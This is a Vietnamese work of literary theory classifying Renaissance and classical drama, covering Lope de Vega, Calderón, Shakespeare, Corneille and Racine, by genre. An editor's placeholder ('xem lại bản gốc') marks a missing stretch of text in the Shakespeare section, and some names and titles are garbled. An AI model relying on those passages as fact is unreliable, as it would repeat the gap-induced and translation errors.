Vào thế kỷ XIV – XV trong văn học Tây Âu xuất hiện những vở diễn hài hước tao nhã trong môi trường dân chủ thị dân, riêng ở Pháp có cái tên là kịch vui nhộn (trò hề). Đó là những hài kịch sinh hoạt ngắn thường thô kệch về nội dung và hình thức nhưng một số có sự phát triển các tính cách truyện ngắn. Như trong kịch vui “Chậu giặt” có cốt truyện người vợ ngang ngạnh và mẹ vợ bắt người chồng ngớ ngẩn làm việc nhà và thậm chí còn sắp đặt cho anh ta cả bảng kê công việc. Nhưng khi người vợ tình cờ rơi vào chậu giặt đầy nước rác, đề nghị người chồng giúp thoát ra chỗ ấy thì anh ta nói rằng bảng kê công việc không có việc ấy và lúc đó người vợ đành lặng im, chấm dứt việc chế giễu chồng.
Thế kỷ XV ở Anh và Pháp rất phổ biến loại kịch có tên người dạy đạo lý. Phần lớn chúng là sự nhân hóa phúng dụ những tính tốt và tính xấu khác nhau làm nhớ lại “Tiểu thuyết về Rôda” mà trong đó mặc dù tính trừu tượng của các sự kiện được đưa ra sân khấu cũng đã xuất hiện những đặc điểm của sự phân tích tâm lý khái quát, có ý nghĩa to lớn đối với sự phát triển tiếp tục nghệ thuật kịch.
Như vậy nhà hát thế tục các thế kỷ trung cổ đã phát triển trong bình diện “phong tục hóa” và tiểu thuyết.
Vào thời đại Phục hưng nghệ thuật kịch đã phát triển đặc biệt rực rỡ ở Tây Ban Nha (thế kỷ XVI và nửa đầu thế kỷ XVII), có được sự đa dạng về thể loại nhưng cũng như thời cổ Hy Lạp chúng đã không thường xuyên nhận được những sự biểu thị phù hợp với nội dung thể loại của chúng.
Chẳng hạn như trong sáng tác của nhà viết kịch lớn nhất Tây Ban Nha là Lốp đơ Vêga có vị trí to lớn là kịch anh hùng thuộc về nhóm thể loại “lịch sử – dân tộc” trình diễn ra sân khấu một số sự kiện lịch sử lớn lao của đời sống dân sự quá khứ – về cơ bản của cuộc đấu tranh của người Tây Ban Nha với người Môrơ hoặc của chính quyền nhà vua với bọn phong kiến ngang bướng. Ví dụ như vở “Abenxeradj hào hiệp” hay “Evrâyka từ Tôleđô”. Tất cả đều nhằm ca ngợi chính quyền nhà vua.
L.đơ Vêga còn viết nhiều vở kịch có tên là “hài kịch cái áo khoác và thanh kiếm” tức là những vở kịch từ đời sống của giới quý tộc phong kiến bình thường. Người ta thường gọi chúng là “hài kịch phong tục” khi chúng thực sự là những vở kịch sinh hoạt vì những điều kiện được miêu tả trong đó (những quan hệ tình yêu, sự ghen tuông, lòng tự hào đẳng cấp, danh dự) và những thủ pháp phát triển cốt truyện (những sự hóa trang, sự nhận biết, những cuộc gặp gỡ bất ngờ, dòng họ khác nhau của sự phức tạp và ngẫu nhiên) không có ý nghĩa “viết về phong tục” nhưng lại khám phá ra sự tiến triển tính cách các nhân vật – thường thường là những khát vọng của chúng về hạnh phúc cá nhân, về tình yêu mà trong phần lớn các trường hợp nâng cao phẩm giá và lòng cao thượng, khơi dậy trong chúng – những người đàn ông và đàn bà – lòng dũng cảm, mưu trí, lòng trung thành và lòng nhiệt huyết. Nổi vật trong số đó là “Không ăn thì đạp đổ”, “Thép Mađrít”, “Mạng lưới Phenhít”, “Cô gái với cái bình có quai”, “Bà quả phụ Valenxianxkaia” và một số vở khác.
Như trong vở “Không ăn thì đạp đổ”, nữ bá tước Điana khi biết người thư ký trẻ của mình là Têôđorô và cô hầu gái Marxela yêu nhau bèn tự mình đối xử âu yếm với chàng và cho chàng biết điều đó. Việc ấy làm rối trí Têôđorô và chàng chuẩn bị đi gặp người đàn bà hé mở cho chàng viễn cảnh của một cuộc hôn nhân huy hoàng. Nhưng Điana tự mình dao động, sợ rơi vào dư luận xã hội bởi sự liên kết thấp kém như vậy. Sự dao động của nàng xuất phát không từ sự xúc phạm danh dự mà chỉ từ thành kiến đẳng cấp. Tuy trong chúng không có chút gì bi kịch nhưng những dao động ấy cũng khiến cho Têôđorô đáng thương quyết định đi khỏi Nhêapôli cùng với Marxela. Điều đó chỉ càng tăng thêm dục tình của Điana cũng như sự ngập ngừng của nàng. Những người có kỳ vọng tước vị chuẩn bị hất cẳng kẻ tình địch của họ bằng con đường án mạng, nhưng lúc đó thì người nô bộc Trixtan – bạn của Têôđorô can thiệp vào tiến trình sự kiện. Anh ta thu xếp công việc cho người bá tước già Luđôvikô thừa nhận Têôđorô là con trai của mình đã bị thất lạc từ lâu và sẵn sàng trao cho chàng tên tuổi và tài sản của mình. Chàng trai ngay thật thú nhận với bà chủ của mình toàn bộ sự lừa dối đó và mình không xứng đáng trở thành chồng của nàng, nhưng Điana bấy giờ lại gạt bỏ mọi sự nghi ngờ và sẵn sàng trở thành vợ Têôđorô chỉ cốt sao sự thật không được loan báo. Trong toàn bộ câu chuyên này không có chút gì là hài kịch – đó là vở kịch tình yêu nhẹ nhàng với cái mở nút hạnh phúc, đó là tiểu thuyết trên sân khấu.
Đơ Vêga đã viết một số vở kịch sinh hoạt tương tự từ cuộc sống nông dân. Một vài vở kịch trong số đó trình bày những xung đột quyền lợi cá nhân những con người trong tầng lớp dưới xã hội với các đại biểu tầng lớp trên, đôi khi kết thúc bằng giải pháp đẫm máu. Ví dụ như vở kịch “Vua – công xã xuất sắc” trong đó mô tả tình yêu của anh nông dân Xantrô và cô con gái tiểu địa chủ Elvira. Mặc dù có sự đồng ý của cha Elvira, họ vẫn cần phải nhận được giấy phép kết hôn của nhà cầm quyền phong kiến địa phương là ngài Đơ Nhâyrô nhưng ông ta lại thích cô gái và bắt trộm cô ta làm người yêu của mình. Khi đó Xantrô và cha Elvira khiếu nại với chính nhà vua. Vua liền ra lệnh cho Đơ Nhâyrô cưới cô gái, sau đó xử tử hắn và Elvira được hạnh phúc lấy Xantrô.
Đơ Vêga còn có một vở kịch chính trị- xã hội nổi tiếng hơn là “Nguồn gốc cừu” liên quan với nhóm thể loại “lịch sử – dân tộc”. Trong đó những mưu toan cưỡng bức của chúa phong kiến đối với nông dân làm bùng lên cuộc khởi nghĩa nông dân thôn làng và giết chết kẻ áp bức. Tất cả sự nỗ lực của vua tìm kẻ sát nhân vẫn không được vì sự quyết liệt của nông dân và nhà vua đành phải đặt cái làng ấy dưới sự cai quản đặc biệt của mình. Không nghi ngờ gì “tính hợp chuẩn” của sự kết thúc trong hai vở kịch ấy của Lốp đơ Vêga bắt nguồn từ sự hạn chế của những lý tưởng chính trị của ông ta.
Như vậy là các hài kịch trong nghĩa riêng không chiếm một vị trí có ý nghĩa to lớn nào trong sáng tác của Lốp đơ Vêga. Trong mức độ lớn hơn, điều đó liên quan đến nhà soạn kịch Tây Ban Nha lớn nhất là Kelđerôn. Ông đã tạo dựng cả “kịch thần bí” và cả các bi kịch tôn giáo rút ra từ chúng, ví dụ như vở “Sự sùng kính cây thánh giá” trong đó nhân vật Euxebiô ngay từ lúc ra đời đã sống dưới cây thánh giá nhiều lần cứu nó thoát chết. Kalđerôn đã viết một loạt bi kịch “phong tục” danh dự. (Một trong số đó là vở “Người bác sĩ danh dự của mình” – ngài Gútierre giết người vợ vô tội của mình từ sự nghi ngờ việc phản bội của mình, giết vợ không trong cơn dục vọng mà từ ý thức nghĩa vụ, cân nhắc cẩn thận và tỉnh táo. Nhà vua hoàn toàn tán đồng anh ta trong việc đó, nói rằng chính ông ta cũng đã hành động như vậy). Nhưng đồng thời ông còn viết một loạt kịch tiểu thuyết sinh hoạt từ đời sống quý tộc mà chúng được gọi một cách không đúng là “hài kịch áo khoác và thanh kiếm” (một trong số đó là vở “Người đàn bà – tàng hình” – bà Ankhela chịu sự giám sát nghiêm khắc của những người anh em của mình, phải lòng ngài Manuali trong lúc đấu tranh cho sự tự do tình cảm của mình đã biểu lộ tài ứng phó và trí thông minh to lớn trong việc giành được mục đích của mình). Kalđêrôn còn có vở kịch chính trị – xã hội “Tòa án Xalamây” khiến ta nhớ đến cốt truyện vở “Nguồn gốc cừu” của Lốp đơ Vêga.
Sự gắn bó tương tự với thể loại bi kịch, kịch anh hùng và sinh hoạt xã hội được biểu hiện ở các nhà soạn kịch lớn nhất thời Phục hưng ở Anh, đứng đầu là Sêchxpia. Trong thời kỳ đầu sáng tác của mình Sêchxpia đã viết một loạt vở kịch thường gọi là “sử biên niên”. Nhưng tính biên niên sử của cốt truyện – đó không phải là bản chất thể loại của tác phẩm. Như chúng ta đã thấy, có thể phân loại chúng với những tác phẩm của những nhóm thể loại đã chọn(,xxxxxXXXXXXXXXxem lại bản gốcxxxx
nhanh chóng mất ý chí và sự minh mẫn của tư duy. Y trở nên đa nghi, hay lo nghĩ, những nạn nhân của sự giết chóc không ngớt của y lại trở về ám ảnh y. Cuối cùng y cảm thấy hoàn toàn cô độc và biết được rằng không một ai yêu mến mình. Và khi bá tước Rismond giết y để trả thù thì không ai còn muốn cứu giúp y.
Hai phần của “biên niên sử” bi kịch “Henrich IV” cũng chứa đựng một nội dung thể loại tương tự. Gắn với nhóm bi kịch này về cuối còn có vở kịch “biên niên” muộn màng “Henrich VIII” và tất nhiên cả “Mácbet” mặc dù theo kết cấu cốt truyện của mình thì vở kịch này mất đi tính biên niên sử, có được biểu hiện rõ ràng “thống nhất hành động”.
Những “biên niên sử” khác của Sêchxpia – vở kịch sớm nhất, ba phần “Henrich IV”, sau đó là “Vua Iôan” và về bản chất cả “Risa II”, đều là bi kịch về sự suy yếu của quyền lực. Chẳng hạn như trong Henrich, khi kết thúc chiến tranh Anh – Pháp thì bắt đầu cuộc chiến tranh huynh đệ tương tàn đẫm máu kéo dài của “các gia đình” Lankaxter và Iork (Hoa hồng đỏ và hoa hồng trắng). Tất cả những sự kiện ấy hầu như là một vở kịch anh hùng ba phần. Nhưng theo cái xung đột chính thì đó là một bi kịch bởi vì trong toàn bộ cuộc đấu tranh gian khổ làm kiệt quệ đất nước thì lỗi lầm cơ bản chính là nhà vua, người đại diện cao nhất của chính quyền không đủ quyền lực cá nhân để tạo nên sự thống nhất dân tộc, chinh phục các phong kiến cát cứ đem lại hòa bình cho nhân dân. Ông ta không phải là chúa tể mà là con người trung thành với cương vị và kinh cầu nguyện, hóa thành con rối trong tay vợ mình và tình nhân của cô ta. Và Henrich ý thức một cách bi kịch chỗ yếu ấy của mình, với sự hối tiếc và thất vọng nhìn tất cả những điều kinh hãi đang diễn ra trước mắt mình.
Hàng loạt bi kịch có cốt truyện “thống nhất hành động” trong sáng tác muộn hơn đã tiếp tục cái tuyến chung ấy của những “biên niên sử” bi kịch của Sêchxpia. Như vở “Iuli Xêdar” trong đó Brút, Kaxi và những người quý tộc La Mã khác trong khi đề phòng sự tấn công của Xêdar, xem trách nhiệm công dân cao cả của mình là phải giết y nhưng đồng thời lại kính trọng và yêu mến riêng đối với y, hy vọng với điều đó bảo vệ được nước cộng hòa, thực hiện điều đó công khai trước hội nghị viện nguyên lão, trông cậy vào sự ủng hộ của nhân dân. Nhưng ý kiến của nhân dân không bền vững còn kẻ thù của bọn mưu phản và những người kế nhiệm chính quyền Xêdar – Oktavi và Antônhi – lại có những đội quân mạnh hơn họ. Bi kịch của Brút và Kaxi (những nhân vật chính của vở kịch) kết thúc bằng việc bị đánh bại trong cuộc chiến, ý thức được tình hình không có lối thoát, họ đã tự sát một cách dũng cảm trong tuyệt vọng.
Vở “Vua Lia” chiếm một vị trí đặc biệt trong những bi kịch của Sêchxpia về sự độc đoán của quyền lực. Tính độc đáo của xung đột vở kịch này là ở chỗ trong đó nạn nhân của sự độc đoán quyền lực lại chính là kẻ mang quyền lực. Vốn có lòng tự phụ và vững tin vô biên vào giá trị của mình. Lia lên mặt rằng về mặt đạo đức hắn vẫn là vua ngay cả khi nếu như hạ cố tính pháp luật mà trao quyền lực cho những người kế nhiệm mình. Nhà viết kịch khoét sâu mâu thuẫn ấy, đưa lòng tự tin của Lia đến độ ngông cuồng và trong cơn ngông cuồng ấy hắn đã nguyền rủa người con gái út của mình, người yêu mến hắn chân thành, đuổi bá tước Kant – người đã dũng cảm lên án hắn về điều ấy. Nhưng những kẻ thừa kế dối trá của Lia – mấy người con gái lớn của hắn và những người chồng của chúng – nhanh chóng bắt đầu khinh bỉ hắn. Hắn phẫn nộ, đau khổ về điều đó nhưng không còn khả năng giành quyền lực cho mình (lời của vua – luật pháp!), tự bắt mình đi lang thang, đau đớn, đói rách. Lia thể nghiệm một cách bi thảm sự lăng nhục và đại bất kính ấy đối với danh dự nhà vua của mình, cái điều ấy hắn tự gây ra cho bản thân bởi tính tự phụ quốc vương của mình, xem thường sự chân thành và tin cậy vào sự xu nịnh. Tất cả những cái khác trong bi kịch, đặc biệt là những sự giết người tàn bạo trong kết thúc vở kịch chỉ tăng thêm và tô đậm cái xung đột cơ bản ấy.
Đặc sắc hơn nữa là xung đột trong bi kịch “Kôriôlan” miêu tả con người say mê hoạt động anh hùng riêng của mình vì quyền lợi quốc gia nhưng lại đặt nó cao hơn quyền lợi quốc gia. Kôriôlan là một danh tướng thời cổ đại La Mã, nhiều lần đánh thắng những kẻ thù lâu đời của nó là quân Vôlxkiv có khí phách hống hách. Y căm thù sâu sắc dân chúng La Mã và những đại diện của họ – những nhà hùng biện, chấp chính quan kiệt xuất và rất vui mừng tiêu diệt nước cộng hòa để chuyển giao chính quyền vào tay quý tộc. Nhưng trong cuộc họp toàn thể người ta đã sỉ nhục y, gọi là “tên phản bội nhân dân” vì chính y đã thóa mạ tất cả dân La Mã và họ quyết định trục xuất y. Khi ấy trong cơn tự ái của mình, Kôriôlan nhất quyết đổi thay tổ quốc, tham gia quân Vôlxkiv và cùng đội quân của chúng đánh La Mã để không khoan dung bất kỳ người dân và quý tộc nào. Đối với y thì quân Vôlxkiv là vũ khí để chiến thắng La Mã thù địch. Kôriôlan thờ ơ với những lời cầu khẩn hoảng sợ của dân chúng La Mã nhằm cứu thành phố ruột thịt nhưng chỉ những lời khuyên bảo của mẹ y là Vôlumnhia mới làm mềm lòng y, buộc y đồng ý thương xót dân La Mã. Lúc đó quân Vôlxkiv đã đóng dưới thành La Mã, giết chết Kôriôlan và thỏa thuận đình chiến.
Như vậy nhiều vở bi kịch Kôriôlan của Sêchxpia với những nguyên tắc khác nhau của cấu tạo cốt truyện đã mô tả mâu thuẫn sâu sắc của tình hình những người cầm quyền – yếu đuối hoặc vị kỷ tàn bạo, thờ ơ hay tự ái, đặt quyền lợi của mình cao hơn quyền lợi quốc gia hay nhân dân và phải chuộc tội vì điều đó bằng cuộc sống.
Khác với tất cả những bi kịch chính trị ấy, “Antônhi và Klêôpactra” nối tiếp cốt truyện “Iuli Xêdar” là một vở kịch chính trị cũng có liên hệ với nhóm thể loại “lịch sử – dân tộc”. Sau cái chết của Xêdar là chế độ tam hùng cai quản La Mã nhưng thực chất là Ôktavi và Antônhi và cả hai cần phải trở nên đạo đức trên đỉnh cao vị thế của mình. Nhưng chỉ Ôkâtvi làm được như vậy. Antônhi thì chỉ dũng cảm và oai nghiêm bên ngoài còn trong sâu thẳm tâm hồn thì lại là người ham sự tiện lợi vô tâm, đánh mất những nguyên tắc đạo đức siêu nhân. Say mê vẻ đẹp của Klêôpactra, Antônhi sống với nàng trong sự thỏa thích xa hoa lộng lẫy tại lâu đài Alếchxăngđr, coi thường trách nhiệm cai quản của mình. Sau những nỗ lực vô bổ nhằm uốn nắn Antônhi, Ôkâtvi tiến hành cuộc chiến và đánh thắng anh ta trên biển và trên đất liền. Antônhi và Klêôpactra chỉ còn có một lối thoát – kết liễu cuộc sống của mình.
Một trong những vở “sử biên niên” của nhà soạn kịch vĩ đại theo thể loại của mình là như vậy nhưng khác biệt bởi sự lý tưởng hóa mạnh mẽ tính cách của nhân vật tích cực trung tâm, vua Henrich V, do đó vở kịch này bị kém xa các vở kịch khác. Điều đó đã được nhắc đến ở trên. Còn bi kịch “Hămlét” được đứng tách riêng hoàn toàn theo sự phức tạp xung đột của mình, cũng đã được nói cặn kẽ ở trên.
Nhưng trong những vở kịch xuất sắc của Sêchxpia vẫn còn một vở kịch được xem là bi kịch nhưng thực ra thì không phải vậy mặc dù kết thúc của nó cũng có nhiều cái chết. Đó là “Ôtenlô”. Bất cứ cái gì tính đến trong tình cảm của Ôtenlô được xem là yếu tố cơ bản khiến y bóp cổ người vợ thân yêu của mình – sự ghen tuông, tính đa nghi, lòng tin bị lừa dối hay dư luận xấu về phụ nữ nói chung – tất cả đó chỉ là tình cảm cá nhân riêng lẻ, không tham dự vào sự xung đột với bất kỳ nguyên tắc siêu nhân nào trong tâm hồn của y mặc dù với danh dự con người và công dân và cũng không xung đột với bất kỳ lực lượng xã hội bên ngoài nào. Không có chút gì như vậy trong phẩm hạnh Ôtenlô trong thời gian ba hành động cuối cùng, trong thời gian ấy Iagô giả vờ kể câu chuyện của mình với y. Tất cả những điều diễn ra trong cốt truyện vở kịch – đó là sự kiện bi đát nặng nề trong đời sống riêng của nhân vật và “Ôtenlô” là một trong những kịch “tiểu thuyết” Sêchxpia.
Một vở kịch khác cũng vậy. Đó là vở “Chuyện cổ tích mùa đông”. Xung đột chính của nó dựa trên môtíp ghen tuông kỳ quặc dẫn đến những kết quả bi đát – đến sự lên án của Lêônt đối với vợ mình là Germion hình như đã thay lòng đổi dạ với chồng. Mặc dù Lêônt là nhà vua và lên án vợ bằng tòa án chính thức, công khai nhưng thực ra thì điều đó không có quan hệ với cơn xúc động của y. Y đau buồn như một con người cá thể, nếu không thì y không chịu được những lời quở trách của Paulina và Kamilo và cơn phẫn nộ của y trút xuống đầu họ. Y tựa hồ chứa trong mình cả hình bóng Ôtenlô và Iagô, nhưng sau đó khá muộn lại hối hận về những tình cảm và hành động xấu xa của mình và cố làm cho người vợ tội lỗi trở lại với mình nhưng không có việc gì xảy ra. Cũng có thể đặt cả vở “Xembelina” vào loại này bởi phần lớn đều được xây dựng trên những môtíp, những sự cáo buộc dối trá của các nhân vật, những sự cám dỗ rủ rê, trốn chạy, che dấu dưới những cái tên lạ v.v… cho nên có thể gọi vở kịch này (trong cái nghĩa hiện đại của thuật ngữ) là kịch thông tục truyền kỳ.
Nhưng ở Sêchxpia còn có một loạt nhiều vở kịch thường gọi là kịch vui (hài kịch). Nhưng ở đây thuật ngữ này phần lớn không phù hợp chút nào với những đặc điểm nội dung thể loại các tác phẩm. A.A.Xmirov đã đề nghị chia “hài kịch ” Sêchxpia ra làm hai loại “kịch hề” và “kịch trữ tình”. Nhưng những dấu hiệu ấy nhanh chóng gắn với phong cách chứ không thuộc về thể loại tác phẩm.
Ở trên khi nói về Arixtôphan, chúng ta đã đưa hài kịch vào nhóm thể loại “phong tục” và đã từ chối cái quyền gọi những vở kịch của Mênerđr và của Lốp đơ Vêga là hài kịch mà gọi chúng là kịch “sinh hoạt gia đình ” hoặc kịch “sinh hoạt xã hội” có quan hệ với nhóm thể loại tiểu thuyết.
Chúng tôi đã chỉ ra rằng tính kịch của cảm hứng không bắt buộc ở trong kịch của thể loại ấy. Vì vậy, nếu như hài kịch có thể thành “nghiêm trang” và “nhẹ nhàng tiêu khiển” theo hệ vấn đề và cảm hứng của mình thì rõ ràng đang tồn tại trong đó những quan hệ “nghiêm trang” và “nhẹ nhàng tiêu khiển” của kịch. “Ôtenlô” gắn bó rõ ràng với loại thứ nhất còn “Không ăn thì đạp đổ” của Lốp đơ Vêga thì gắn với loại thứ hai.
Nếu như theo quan điểm ấy để gọi các hài kịch Sêchxpia như thế thì trong phần lớn của mình chúng cũng rơi vào kịch “tiểu thuyết” và có thể đặt chúng theo cấp bậc giảm dần từ “nghiêm trang” xuống “nhẹ nhàng tiêu khiển”. Gần gũi nhất với loại kịch “nghiêm trang” là vở “Lái buôn thành Vơnidơ” trong đó đan bện hai tuyến cốt truyện và một trong chúng mạnh về tính kịch. Xung đột diễn ra giữa lái buôn Antoniô, người cho vay tiền không tính thiệt hơn và Sailôk – tên Do Thái cho vay nặng lãi, vì thế họ thường chửi mắng và khinh bỉ nhau. Rồi khi Antoniô không có tiền mặt phải vay Sailôk một khoản lớn để giúp người bạn mình là Baxaniô, anh ta đồng ý trong trường hợp sai hẹn sẽ trả cho chủ nợ “một cân thịt” từ ngực của mình. Nhưng chiếc thuyền của Antoniô cùng hàng hóa bị đắm, thời hạn trả nợ đã hết, Sailôk đang phát khùng bởi người con gái của nó là Đjecxika đã trốn khỏi nhà đến với chàng trai theo đạo thiên chúa là Lêrennô để trở thành vợ anh ta, ở tòa án thì đòi thực hiện quy ước và Antoniô sẵn sàng chết. Nhưng tại tòa án, luật sư, vốn là Porixia vợ chưa cưới của Baxaniô cải trang, bào chữa, hướng tất cả sự việc chống lại Sailôk và không chỉ tước quyền của y vì phạt bội ước mà toàn bộ tài sản của y cũng bị tịch biên một nửa cho lợi ích quốc gia, còn một nửa là của hồi môn của Đjecxika. Sailôk bị mất một cách bất công cả danh dự, tài sản và cả con gái đành rời bỏ tòa án trong cơn tuyệt vọng. Đó là một vở kịch thực sự và những lớp kịch tuyệt vời nhằm thử thách anh chồng chưa cưới của Porixia và mối quan hệ cá nhân của cô ta với ý trung nhân tốt số, nhằm đánh lạc sự chú ý của khán giả khỏi số phận nặng nề của tên cho vay nặng lãi tham lam luôn quyết đấu vì quyền lợi của những kẻ như mình.
Cũng có thể nói như vậy về vở kịch “Hay dở cuối cùng sẽ rõ”. Trong đó hiệp sĩ Bertran nhận chỉ thị của quốc vương kết hôn với Êlêna – người phải lòng chàng và được nuôi dưỡng trong pháo đài của dòng họ. Nhưng Bertran xem Êlêna thấp kém hơn mình về dòng dõi và không yêu nàng. Miễn cưỡng đính hôn với nàng, Bertran đi ra mặt trận ở Italia và đặt điều kiện với cô gái là cô sẽ trở thành vợ của chàng khi nào có được chiếc nhẫn mặt ngọc gia bảo của chàng và sinh được con trai với chàng, mặc dù chàng không bao giờ đoái hoài đến cô. Khi đó Êlêna giả vờ làm người hành hương đi đến vùng mà người yêu của mình đang chiến đấu và bí mật trong đêm tối chiếm lấy chiếc giường của cô gái mà Bertran gắng chiếm được cảm tình và quyến rũ, nhận được chiếc nhận mặt ngọc và đứa con trai từ chàng. Trở về theo sau chàng, tới trước mẹ Bertran, trong sự có mặt của quốc vương, nàng xuất trình với Bertran cả hai điều kiện đã được hoàn thành và chàng đồng ý trở thành chồng của nàng.
Tuyến cơ bản của cốt truyện là như vậy, được lần lượt xen kẽ như điều đó thường có ở Sêchxpia trong các vở kịch thể loại kịch vui với những câu chuyện đùa vui của những người nô bộc ngốc nghếch. Trong tuyến cơ bản ấy những nhân vật chính thức đẩy tiến trình sự kiện – Êlêna và Bertran; cả hai đều thể hiện những hành động quyết liệt trong đó thử thách tính cách của họ và số phận họ được thay đổi. Điều đó chính là những bản chất loại hình chủ yếu của kịch “tiểu thuyết” như một thể loại. Những tác phẩm nghệ thuật có cốt truyện như vậy trong việc trần thuật một cách chi tiết có tính sử thi đã dẫn tới việc xây dựng tiểu thuyết, có được những đỉnh điểm đột ngột và khả năng đa dạng to lớn của bản sắc địa phương.
Các vở kịch mang tên “Ầm ĩ vì chuyện không đâu” hầu như có tham vọng thực sự về tính hài kịch. Nhưng trong xung đột cơ bản của nó lại có tính chất tiểu thuyết trong ý nghĩa thể loại của từ. Tình yêu của Klapđiô và Gherô con gái của thống đốc Lêônađrô đang nhanh chóng tiến đến lễ cưới hạnh phúc, bỗng bị phá tan bởi tin đồn bịa đặt ghê gớm về sự hư đốn của Gherô, rằng nàng đã lừa chàng trai hầu phòng của mình là Margarita trong đêm ngay trước mặt vị hôn phu, qua lời thì thầm phao tin độc ác của người Hoan. Klapđiô tức giận công khai lên án vị hôn thê của mình là dâm đãng và điều đó làm cho Gherô hầu như chết đứng, lại thêm lời khuyên của vị linh mục nhằm tránh khỏi điều đơm đặt, người ta cho cô gái giả chết và chôn cất dưới hầm mộ dòng họ. Sau đó, Klapđiô lại hối hận và u sầu trước mộ vị hôn thê. Và âm mưu đê mạt của ngài Hoan và Margarita đã bị phơi bày, bởi lẽ, những người gác đêm đã nghe được âm mưu về việc chuẩn bị đánh lừa ấy. Rồi Gherô tỉnh lại từ trong hầm mộ và hai người yêu nhau đã làm lễ thành hôn. Như vở kịch này trong tuyến cốt truyện chính của mình, không phải là hài kịch mà là kịch tiểu thuyết. Và vở kịch “Hai chàng quý phái ở Vêrôna” cũng không chứa đựng chút gì hài kịch, trừ những câu chuyện đùa vui của bọn gia nhân, có rất ít quan hệ với bản chất thể loại ấy. Nếu như hình dung tất cả những điều diễn ra trong kịch là cốt truyện của câu chuyện tự sự thì sẽ có một tiểu thuyết nhỏ giải trí nhẹ nhàng với những giải pháp xung đột “hợp chuẩn”.
Trong những âm mưu ái tình giao chéo nhau, rồi vụ đắm tàu, chuyện phức tạp hóa bởi sự giống hệt nhau bề ngoài của anh và em gái, rồi cô gái giả trang làm anh, đã là cơ sở cho cốt truyện “Đêm thứ mười hai” cũng như thêm thắt những lớp hài kịch của các nhân vật phụ. Đó là kịch thông tục thật sự theo phong cách Sêchxpia.
Nhưng ở Sêchxpia còn một loại kịch nữa là hài kịch chân chính, tác phẩm mang tính “phong tục”. Đó là “Những bà vợ vui tính của Uynhxo”. Ở đây những biến cố hài kịch bùng nổ không ở những đất nước phía nam Địa Trung Hải giống như trong bất kỳ vở kịch nào mà ở nước Anh đương thời với Sêchxpia và sự tham dự vào đó của những người từ giới tiểu tư sản thị dân sung túc và giới hiệp sĩ tha hóa luôn say tuý luý. Những trò tinh nghịch của công sứ Phord và Pâyđr với Phanxtaph, cuộc tranh giành của những người có tham vọng nắm được tay và trái tim của Anna Pâyđr tạo nên bức tranh phong tục vui vẻ của nước Anh quê mùa, có được cái ý nghĩa biểu đạt “phong tục” rực rỡ.
Như vậy những kịch tác gia lớn nhất của Tây Ban Nha và Anh thời Phục hưng đã bị thu hút một cách rõ ràng về cơ bản tới việc xây dựng kịch tiểu thuyết sinh hoạt tình yêu và đồng thời cả những vở diễn có nội dung “lịch sử – dân tộc” với những xung đột bi kịch hay chính kịch.

3
Trong nghệ thuật kịch của chủ nghĩa cổ điển đã phát triển đặc biệt rực rỡ ở Pháp, thì mối liên hệ của các thể loại có khác ít nhiều. Ngày nay khi chúng ta đã xác lập sự khác nhau cơ bản của các thể loại, nhìn nhận những hiện tượng lớn nhất của các thời kỳ trước đó của sự phát triển nghệ thuật kịch châu Âu thì dễ dàng xác định quan hệ đó qua những đặc điểm chung nhất.
Những nhà soạn kịch lớn nhất của chủ nghĩa cổ điển Pháp tạo dựng nên những thể loại “cao cả” của nó là Cornây và Raxin đã vận dụng trong sáng tác của mình tất cả các biến thể của chúng. Họ đã viết hàng loạt kịch anh hùng: Cornây viết “Xinna”, Raixn viết “Mitriđata”, “Exphia”. Tất cả những vở kịch này tràn đầy nhiệt tình chính trị nhưng trong cốt truyện của chúng không hàm chứa các xung đột bi kịch. Ví dụ như trong “Xinna” xung đột nằm trong cuộc đấu tranh của Tháng Tám với những kẻ âm mưu của Xinna và Mácxin, những người đứng về phía cộng hòa và được cổ vũ trong âm mưu của Êmili muốn trả thù Tháng Tám vì cái chết của cha mình. Nhưng Xinna không còn chú ý đến âm mưu nữa khi hoàng đế hứa gả cho y người yêu y là Êmili, còn Mácxin cũng yêu cô gái và đã để lộ ra những kẻ mưu phản khác trong lúc tính toán gạt bỏ Xinna như địch thủ của mình. Những âm mưu tình ái phá vỡ xung đột chính trị, nhưng chính xung đột ấy cũng mất đi tính chất bi kịch: nó dựa vào xung đột của hai nhóm đối lập – cộng hòa và quân chủ – càng bị trầm trọng thêm bởi thù địch cá nhân. Cũng những tình huống như vậy trong “Mitriđata” và “Exphia”.
Những nhà soạn kịch ấy thường xây dựng nhiều hơn cả là những bi kịch của sự độc đoán quyền lực. Ở Cornây những vở đáng kể hơn cả trong số đó là “Rôđôgunđa” và “Irakli” còn ở Raxin là “Anđrômác”, “Người Anh”, “Gôphôlia”. Rất có ý nghĩa là vở kịch cuối cùng trong số đó giới thiệu những sự tàn ác của hoàng hậu Gôphôlia, người cướp ngôi báu của các vua Do Thái giáo, giết chết tất cả con cháu của vua Đavít và làm thay đổi tôn giáo Do Thái ở thế hệ Vaalu. Nhưng chính nàng rốt cuộc lại bị chết trong khởi nghĩa giao hoàn ngôi báu cho chàng thiếu niên Iôax được may mắn cứu thoát khỏi sự truy nã của nàng.
Nhưng có ý nghĩa nhất ở Cornây và Raxin là những vở bi kịch nghĩa vụ và danh dự. Ở Cornây là các vở “Lơ Xid”, “Hôraxi”, “Cái chết của Pompêi”. Ở Raxin là các vở “Bêrênhix”, “Iphighêni ở Avlida”. Trong vở sau cùng, theo Raxin, Aganmemnông đã dâng lễ vật cho các thần không phải là con gái Ighighêna của mình mà là người con gái khác, con của Êlêna Xpartanxkain, người không hay biết cha mẹ của mình và có tên là Eriphila. Cả hai cô gái phải lòng Akhilla người đang yêu Iphighêni, còn Eriphila thì vì ghen tuông mà gây ra nhầm lẫn rối trí, tự mình rơi vào lưỡi dao mà quyên sinh. Iphighêni là nhân vật chính của bi kịch, khi biết rằng mình phải chết vì lợi ích của Tổ quốc thì xem đó là vinh dự cao cả đối với bản thân, không tức giận cha mình, hoàn toàn không từ chối và sẵn sàng hy sinh, dù cuối cùng nàng vẫn còn sống, nhưng chính tính cách của nàng lại chứa đựng trong mình mâu thuẫn bi kịch.
